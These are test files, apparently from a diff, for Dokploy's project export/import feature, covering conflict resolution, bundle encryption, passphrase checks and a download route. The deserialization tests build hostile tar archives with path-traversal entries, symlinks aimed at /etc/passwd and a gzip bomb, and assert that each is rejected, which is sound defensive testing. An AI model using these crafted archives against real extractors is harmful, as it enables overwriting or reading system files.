expect(resolved["projectName:shop"]).toEqual({
action: "rename",
value: "shop (imported)",
});
expect(resolved["network:shared-net"]).toEqual({
action: "rename",
value: "shared-net-2",
});
});
it("resolves the project name from the rename choice", () => {
expect(
resolvedProjectName(
{ kind: "newProject", name: "shop" },
{ "projectName:shop": { action: "rename", value: " shop-2 " } },
),
).toBe("shop-2");
expect(resolvedProjectName({ kind: "newProject", name: "shop" }, {})).toBe(
"shop",
);
});
});
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: { projectId: "project-src", name: "shop", env: "" },
environments: [{ environmentId: "env-1", name: "production", env: "" }],
services: [
{
kind: "application",
applicationId: "app-1",
appName: "web-abc123",
environmentId: "env-1",
networkIds: ["net-src"],
domains: [
{ domainId: "dom-1", host: "api.example.com", enabled: true },
{ domainId: "dom-2", host: "admin.example.com", enabled: true },
],
ports: [
{ portId: "p-1", publishedPort: 8080, targetPort: 80 },
{ portId: "p-2", publishedPort: 9090, targetPort: 90 },
{ portId: "p-3", publishedPort: 7070, targetPort: 70 },
],
},
],
shared: {
network: [{ networkId: "net-src", name: "shared-net", serverId: null }],
},
},
requirements: [
{
kind: "network",
originalId: "net-src",
configIncluded: true,
usedBy: [],
name: "shared-net",
},
],
warnings: [],
dumps: [],
};
const runApply = async (
conflictResolutions: Plan["conflictResolutions"],
networkResolution: "keep" | "rename" | "skip",
) => {
const { applications, domains, environments, network, ports, projects } =
await import("@dokploy/server/db/schema");
const inserted = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const writeDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const row: Record<string, unknown> = {
...values,
id: `row-${++counter}`,
};
if (table === projects) row.projectId = "project-new";
if (table === environments) row.environmentId = "env-new";
if (table === network) row.networkId = "net-new";
if (table === applications) row.applicationId = "app-new";
if (table === domains) row.domainId = `dom-new-${counter}`;
const list = inserted.get(table) ?? [];
list.push(row);
inserted.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...writeDb }),
} as unknown as TransferWriteDb;
const plan: Plan = {
target: { kind: "newProject", name: "shop" },
resolutions: {
"network:net-src": {
requirementKey: "network:net-src",
action: "create",
},
},
serverMap: { null: null },
appNameMap: { "web-abc123": "web-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [
conflict("projectName", "shop", ["rename"]),
conflict("domain", "api.example.com", ["rename", "skip"]),
conflict("domain", "admin.example.com", ["rename", "skip"]),
conflict("port", "8080", ["rename", "skip", "keep"]),
conflict("port", "9090", ["rename", "skip", "keep"]),
conflict("network", "shared-net", ["keep", "rename", "skip"]),
],
conflictResolutions: {
...conflictResolutions,
"network:shared-net":
networkResolution === "rename"
? { action: "rename", value: "shared-net-2" }
: { action: networkResolution },
},
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 2, dumps: 0 },
};
const result = await apply(writeDb, snapshot, plan, new Map(), "org-dest");
return {
result,
project: inserted.get(projects)?.[0],
domains: inserted.get(domains) ?? [],
ports: inserted.get(ports) ?? [],
networks: inserted.get(network) ?? [],
application: inserted.get(applications)?.[0],
};
};
describe("apply consumes conflict resolutions", () => {
it("renames the project and domains, drops skipped ports, renames a port, reuses the existing network", async () => {
const out = await runApply(
{
"projectName:shop": { action: "rename", value: "shop-2" },
"domain:api.example.com": {
action: "rename",
value: "api-2.example.com",
},
"domain:admin.example.com": { action: "skip" },
"port:8080": { action: "skip" },
"port:9090": { action: "rename", value: "9091" },
},
"keep",
);
expect(out.project?.name).toBe("shop-2");
expect(out.domains.map((d) => [d.host, d.enabled])).toEqual([
["api-2.example.com", true],
["admin.example.com", false],
]);
expect(out.ports.map((p) => p.publishedPort)).toEqual([9091, 7070]);
expect(out.networks).toEqual([]);
expect(out.application?.networkIds).toEqual(["existing-network"]);
expect(out.result.idMap.network).toEqual({ "net-src": "existing-network" });
});
it("creates the network under a new name when renamed, and drops it when skipped", async () => {
const renamed = await runApply({}, "rename");
expect(renamed.networks.map((n) => n.name)).toEqual(["shared-net-2"]);
expect(renamed.application?.networkIds).toEqual(["net-new"]);
const skipped = await runApply({}, "skip");
expect(skipped.networks).toEqual([]);
expect(skipped.application?.networkIds).toEqual([]);
expect(
skipped.result.warnings.some((w) => w.code === "NETWORK_UNRESOLVED"),
).toBe(true);
});
});
@@ -0,0 +1,183 @@
import {
createReadStream,
createWriteStream,
mkdtempSync,
readFileSync,
rmSync,
writeFileSync,
} from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { Readable, Writable } from "node:stream";
import { pipeline } from "node:stream/promises";
import {
decryptField,
deriveKeys,
encryptField,
gcmDecryptStream,
gcmEncryptStream,
makeKeyCheck,
TransferCryptoError,
verifyKeyCheck,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("deriveKeys", () => {
it("rejects a passphrase shorter than 12 characters", async () => {
await expect(deriveKeys("short")).rejects.toThrow();
});
it("derives the same keys from the same passphrase and salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("correct-horse-battery-staple", first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(true);
expect(second.salt).toBe(first.salt);
});
it("derives different keys for a different salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("correct-horse-battery-staple");
expect(second.salt).not.toBe(first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(false);
});
it("derives different keys for a different passphrase with the same salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("another-passphrase-entirely", first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(false);
});
});
describe("encryptField / decryptField", () => {
it("round-trips a plaintext value", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(decryptField(kEnc, "secret-1", entry)).toBe("hunter2");
});
it("fails when the AAD (id) differs from the one used to encrypt", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(() => decryptField(kEnc, "secret-2", entry)).toThrow(
TransferCryptoError,
);
});
it("fails when decrypting with a different key", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const { kEnc: otherKEnc } = await deriveKeys("a-different-passphrase!!");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(() => decryptField(otherKEnc, "secret-1", entry)).toThrow(
TransferCryptoError,
);
});
});
describe("makeKeyCheck / verifyKeyCheck", () => {
it("verifies with the correct passphrase", async () => {
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
const keyCheck = makeKeyCheck(kEnc);
const { kEnc: reDerived } = await deriveKeys(
"correct-horse-battery-staple",
salt,
);
expect(verifyKeyCheck(reDerived, keyCheck)).toBe(true);
});
it("fails with the wrong passphrase", async () => {
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
const keyCheck = makeKeyCheck(kEnc);
const { kEnc: wrongKEnc } = await deriveKeys(
"totally-wrong-passphrase",
salt,
);
expect(verifyKeyCheck(wrongKEnc, keyCheck)).toBe(false);
});
});
describe("gcmDecryptStream edge cases", () => {
it("handles an empty payload, one-byte chunks and a truncated ciphertext", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const encrypt = async (bytes: Buffer) => {
const chunks: Buffer[] = [];
await pipeline(
Readable.from([bytes]),
gcmEncryptStream(kEnc),
new Writable({
write(chunk, _encoding, callback) {
chunks.push(chunk);
callback();
},
}),
);
return Buffer.concat(chunks);
};
const decrypt = async (bytes: Buffer, chunkSize: number) => {
const chunks: Buffer[] = [];
const pieces: Buffer[] = [];
for (let i = 0; i < bytes.length; i += chunkSize) {
pieces.push(bytes.subarray(i, i + chunkSize));
}
await pipeline(
Readable.from(pieces),
gcmDecryptStream(kEnc),
new Writable({
write(chunk, _encoding, callback) {
chunks.push(chunk);
callback();
},
}),
);
return Buffer.concat(chunks);
};
const empty = await encrypt(Buffer.alloc(0));
expect(empty.length).toBe(12 + 16);
expect((await decrypt(empty, 1)).length).toBe(0);
const small = await encrypt(Buffer.from("hello world, 21 bytes"));
expect((await decrypt(small, 1)).toString()).toBe("hello world, 21 bytes");
await expect(decrypt(small.subarray(0, 20), 1)).rejects.toThrow(
TransferCryptoError,
);
});
});
describe("gcmEncryptStream / gcmDecryptStream", () => {
it("round-trips a file and rejects a flipped byte", async () => {
const dir = mkdtempSync(join(tmpdir(), "transfer-crypto-file-"));
try {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const plain = join(dir, "plain.bin");
const enc = join(dir, "plain.enc");
const out = join(dir, "plain.out");
writeFileSync(plain, Buffer.alloc(100_000, 7));
await pipeline(
createReadStream(plain),
gcmEncryptStream(kEnc),
createWriteStream(enc),
);
expect(readFileSync(enc).length).toBe(100_000 + 12 + 16);
await pipeline(
createReadStream(enc),
gcmDecryptStream(kEnc),
createWriteStream(out),
);
expect(readFileSync(out).equals(readFileSync(plain))).toBe(true);
const bytes = readFileSync(enc);
bytes[100] = (bytes[100] ?? 0) ^ 0xff;
writeFileSync(enc, bytes);
await expect(
pipeline(
createReadStream(enc),
gcmDecryptStream(kEnc),
createWriteStream(out),
),
).rejects.toThrow(TransferCryptoError);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
});
@@ -0,0 +1,236 @@
import {
buildBundleObjectKey,
deriveKeys,
EXPORTS_DIRECTORY,
makeKeyCheck,
slugifyProjectName,
verifyBundlePassphrase,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return { ...actual, execAsync: vi.fn(actual.execAsync) };
});
describe("slugifyProjectName", () => {
it("produces a lowercase, URL-safe slug", () => {
expect(slugifyProjectName("My Cool Project!")).toBe("my-cool-project");
});
it("falls back to a generic name for an empty/unslugifiable input", () => {
expect(slugifyProjectName("")).toBe("project");
});
});
describe("buildBundleObjectKey", () => {
it("always stores bundles under the fixed exports directory", () => {
const key = buildBundleObjectKey("my-project", "2024-01-01T00:00:00.000Z");
expect(key).toBe(
`${EXPORTS_DIRECTORY}/my-project-2024-01-01T00-00-00-000Z.dokploy.tar.gz`,
);
expect(EXPORTS_DIRECTORY).toBe("dokploy-export-import");
});
});
describe("verifyBundlePassphrase", () => {
it("checks the keyCheck of a manifest read from the head of the object", async () => {
const { salt, kEnc } = await deriveKeys("correct-horse-battery-staple");
const manifest = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt,
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: makeKeyCheck(kEnc),
},
counts: {},
};
vi.mocked(execAsync).mockResolvedValueOnce({
stdout: JSON.stringify(manifest),
stderr: "",
});
const destination = { bucket: "b", endpoint: "e", region: "r" } as any;
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"correct-horse-battery-staple",
),
).resolves.toMatchObject({ checked: true, valid: true });
vi.mocked(execAsync).mockResolvedValueOnce({
stdout: JSON.stringify(manifest),
stderr: "",
});
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"wrong-passphrase-here",
),
).resolves.toMatchObject({ checked: true, valid: false });
vi.mocked(execAsync).mockResolvedValueOnce({ stdout: "", stderr: "" });
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"correct-horse-battery-staple",
),
).resolves.toMatchObject({ checked: false });
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain("rclone cat");
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
"tar -xzOf - manifest.json ",
);
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
"--count 4194304",
);
});
});
describe("projectExportImportRouter.exportStart on IS_CLOUD", () => {
it("rejects deliver: download (or omitted) with BAD_REQUEST", async () => {
vi.resetModules();
process.env.IS_CLOUD = "true";
vi.doMock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
};
},
);
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const caller = projectExportImportRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-1", email: "a@b.com" },
} as any);
await expect(
caller.exportStart({
projectId: "project-1",
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
passphrase: "correct-horse-battery-staple",
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
delete process.env.IS_CLOUD;
vi.doUnmock("@dokploy/server/services/project-export-import");
vi.resetModules();
}, 30_000);
});
describe("projectExportImportRouter.exportOrganizationStart on IS_CLOUD", () => {
it("skips projects with no remote server instead of failing the whole batch", async () => {
vi.resetModules();
process.env.IS_CLOUD = "true";
const runExportBatch = vi.fn(() => ({ exportIds: ["export-1"] }));
vi.doMock("@dokploy/server/db", () => ({
db: {
query: {
projects: {
findMany: async () => [
{ projectId: "with-server", name: "With server" },
{ projectId: "empty", name: "Empty" },
],
},
},
},
}));
vi.doMock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationDestination: vi.fn(async () => ({})),
bundleBuildServer: vi.fn(async (_db, projectId: string) => {
if (projectId === "with-server") return "server-1";
throw new TRPCError({
code: "BAD_REQUEST",
message: "none of the selected services runs on a remote server",
});
}),
runExportBatch,
};
},
);
vi.doMock("../../server/api/utils/audit", () => ({ audit: vi.fn() }));
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const caller = projectExportImportRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-org-cloud", email: "a@b.com" },
} as any);
const result = await caller.exportOrganizationStart({
destinationId: "dest-1",
passphrase: "correct-horse-battery-staple",
projectIds: ["with-server", "empty", "with-server"],
});
expect(result.exports).toEqual([
{ projectId: "with-server", name: "With server", exportId: "export-1" },
]);
expect(result.skipped).toMatchObject([{ projectId: "empty" }]);
expect(runExportBatch).toHaveBeenCalledWith(
[expect.objectContaining({ buildServerId: "server-1" })],
expect.anything(),
);
delete process.env.IS_CLOUD;
vi.doUnmock("@dokploy/server/db");
vi.doUnmock("@dokploy/server/services/project-export-import");
vi.doUnmock("../../server/api/utils/audit");
vi.resetModules();
}, 30_000);
});
@@ -0,0 +1,393 @@
import { existsSync } from "node:fs";
import { mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { gzipSync } from "node:zlib";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
capture,
detectRequirements,
detectWarnings,
inspectBundle,
serialize,
TransferCryptoError,
unlockBundle,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
postgres: [postgres],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: { findMany: async () => [application] },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: { findMany: async () => [] },
registry: { findMany: async () => [], findFirst: async () => undefined },
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const ustarHeader = (name: string, size: number): Buffer => {
const header = Buffer.alloc(512);
header.write(name, 0, "utf8");
header.write("0000777\0", 100, "utf8");
header.write("0000000\0", 108, "utf8");
header.write("0000000\0", 116, "utf8");
header.write(`${size.toString(8).padStart(11, "0")}\0`, 124, "utf8");
header.write(
`${Math.floor(Date.now() / 1000)
.toString(8)
.padStart(11, "0")}\0`,
136,
"utf8",
);
header.write(" ", 148, "utf8");
header.write("0", 156, "utf8");
header.write("ustar\0", 257, "utf8");
header.write("00", 263, "utf8");
let checksum = 0;
for (const byte of header) checksum += byte;
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
return header;
};
const buildMaliciousTarGz = (entryName: string, content: Buffer): Buffer => {
const header = ustarHeader(entryName, content.length);
const padded = Buffer.concat([
content,
Buffer.alloc((512 - (content.length % 512)) % 512),
]);
const archive = Buffer.concat([header, padded, Buffer.alloc(1024)]);
return gzipSync(archive);
};
const ustarSymlinkHeader = (name: string, linkTarget: string): Buffer => {
const header = Buffer.alloc(512);
header.write(name, 0, "utf8");
header.write("0000777\0", 100, "utf8");
header.write("0000000\0", 108, "utf8");
header.write("0000000\0", 116, "utf8");
header.write(`${(0).toString(8).padStart(11, "0")}\0`, 124, "utf8");
header.write(
`${Math.floor(Date.now() / 1000)
.toString(8)
.padStart(11, "0")}\0`,
136,
"utf8",
);
header.write(" ", 148, "utf8");
header.write("2", 156, "utf8");
header.write(linkTarget, 157, "utf8");
header.write("ustar\0", 257, "utf8");
header.write("00", 263, "utf8");
let checksum = 0;
for (const byte of header) checksum += byte;
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
return header;
};
const buildSymlinkTarGz = (entryName: string, linkTarget: string): Buffer => {
const header = ustarSymlinkHeader(entryName, linkTarget);
const archive = Buffer.concat([header, Buffer.alloc(1024)]);
return gzipSync(archive);
};
let workDir: string;
let outDir: string;
let bundlePath: string;
const buildBundle = async () => {
const db = fakeDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
};
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-deser-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-deser-out-"));
bundlePath = join(outDir, "bundle.dokploy.tar.gz");
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
describe("deserialize: inspectBundle + unlockBundle", () => {
it("round-trips the exact snapshot through inspect + unlock", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
const inspected = await inspectBundle(
local(bundlePath),
local(extractDir),
);
expect(inspected.manifest.sourceInstance.organizationId).toBe("org-1");
expect(inspected.inventory.totals.application).toBe(1);
expect(Array.isArray(inspected.requirements)).toBe(true);
expect(Array.isArray(inspected.warnings)).toBe(true);
expect(existsSync(join(extractDir, "resources"))).toBe(false);
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
expect(unlocked.snapshot.manifest).toEqual(inspected.manifest);
expect(existsSync(join(extractDir, "payload.enc"))).toBe(false);
expect(existsSync(join(extractDir, "secrets.json"))).toBe(false);
expect(unlocked.snapshot.resources.project).toMatchObject({
projectId: "project-1",
name: "my-project",
});
expect(unlocked.snapshot.resources.environments).toHaveLength(1);
const decryptedValues = Array.from(unlocked.secretsPlain.values());
expect(decryptedValues).toContain("realdbpassword123");
} finally {
await rm(extractDir, { recursive: true, force: true });
}
}, 30_000);
it("throws TransferCryptoError on a wrong passphrase", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
await inspectBundle(local(bundlePath), local(extractDir));
await expect(
unlockBundle(local(extractDir), "totally-wrong-passphrase-here"),
).rejects.toThrow(TransferCryptoError);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("throws TransferCryptoError when the encrypted payload is tampered with", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
await inspectBundle(local(bundlePath), local(extractDir));
const payloadPath = join(extractDir, "payload.enc");
const bytes = await readFile(payloadPath);
const middle = Math.floor(bytes.length / 2);
bytes[middle] = (bytes[middle] ?? 0) ^ 0xff;
await writeFile(payloadPath, bytes);
await expect(unlockBundle(local(extractDir), PASSPHRASE)).rejects.toThrow(
TransferCryptoError,
);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a tar entry that attempts path traversal", async () => {
const maliciousBundle = join(outDir, "evil.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildMaliciousTarGz("../../etc/evil-payload", Buffer.from("evil")),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-evil-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe path/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a gzip bomb before extracting anything", async () => {
const bomb = join(outDir, "bomb.dokploy.tar.gz");
await writeFile(
bomb,
buildMaliciousTarGz("manifest.json", Buffer.alloc(1024 * 1024)),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-bomb-"),
);
try {
await expect(
inspectBundle(local(bomb), local(extractDir), {
maxDecompressedBytes: 64 * 1024,
}),
).rejects.toThrow(/decompressed size/);
expect(existsSync(join(extractDir, "manifest.json"))).toBe(false);
// A post-extraction failure removes the directory; the pre-check never touches it.
expect(existsSync(extractDir)).toBe(true);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects an escaping symlink even when its name contains a tab", async () => {
const maliciousBundle = join(outDir, "evil-tab-symlink.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildSymlinkTarGz("x\ty", "../../../../etc"),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-tab-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe symlink/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a symlink entry whose target escapes workDir", async () => {
const maliciousBundle = join(outDir, "evil-symlink.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildSymlinkTarGz("innocuous-name.txt", "../../../../etc/passwd"),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-symlink-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe symlink/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
});
@@ -0,0 +1,316 @@
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { PassThrough, Readable } from "node:stream";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const { errorPathBox } = vi.hoisted(() => ({ errorPathBox: { value: "" } }));
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
return {
...actual,
openProcessStream: async (serverId: string | null, command: string) => {
if (errorPathBox.value && command.includes(errorPathBox.value)) {
const stdout = new Readable({ read() {} });
process.nextTick(() => {
stdout.emit("error", new Error("simulated read failure"));
});
return {
stdin: new PassThrough(),
stdout,
stderr: new PassThrough(),
exit: Promise.resolve(1),
close: () => {},
};
}
return actual.openProcessStream(serverId, command);
},
};
},
);
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
};
},
);
const {
createExportJob,
issueDownloadToken,
updateExportJob,
peekDownloadToken,
assertTransferPermission,
} = await import("@dokploy/server/services/project-export-import");
const handler = (
await import("../../pages/api/project-export-import/download/[token]")
).default;
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-download-route-"));
errorPathBox.value = "";
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const buildReq = (
method: string,
token: string,
): { method: string; query: { token: string } } => ({
method,
query: { token },
});
const buildRes = () => {
const stream = new PassThrough() as unknown as {
statusCode: number;
status: (code: number) => typeof stream;
json: (body: unknown) => typeof stream;
jsonBody?: unknown;
setHeader: (key: string, value: unknown) => void;
headers: Record<string, unknown>;
} & PassThrough;
stream.statusCode = 200;
stream.headers = {};
stream.status = vi.fn((code: number) => {
stream.statusCode = code;
return stream;
}) as typeof stream.status;
stream.json = vi.fn((body: unknown) => {
stream.jsonBody = body;
return stream;
}) as typeof stream.json;
stream.setHeader = vi.fn((key: string, value: unknown) => {
stream.headers[key] = value;
});
return stream;
};
const drain = (stream: PassThrough): Promise<Buffer> =>
new Promise((resolve, reject) => {
const chunks: Buffer[] = [];
stream.on("data", (chunk) => chunks.push(chunk as Buffer));
stream.on("end", () => resolve(Buffer.concat(chunks)));
stream.on("error", reject);
});
describe("transfer download route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const req = buildReq("GET", "any-token");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(401);
});
it("rejects an unknown token", async () => {
const req = buildReq("GET", "does-not-exist");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(404);
});
it("rejects a non-owner/admin caller with a valid, same-org token", async () => {
const job = createExportJob("export-forbidden-1", "user-1", "org-1");
job.status = "done";
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
const token = issueDownloadToken("export-forbidden-1") as string;
(assertTransferPermission as any).mockRejectedValueOnce(
new (await import("@trpc/server")).TRPCError({
code: "FORBIDDEN",
message: "Only organization owners and admins can do that",
}),
);
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(403);
expect(assertTransferPermission).toHaveBeenCalled();
});
it("rejects a token belonging to another organization", async () => {
const job = createExportJob("export-1", "user-1", "org-2");
job.status = "done";
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
const token = issueDownloadToken("export-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(404);
});
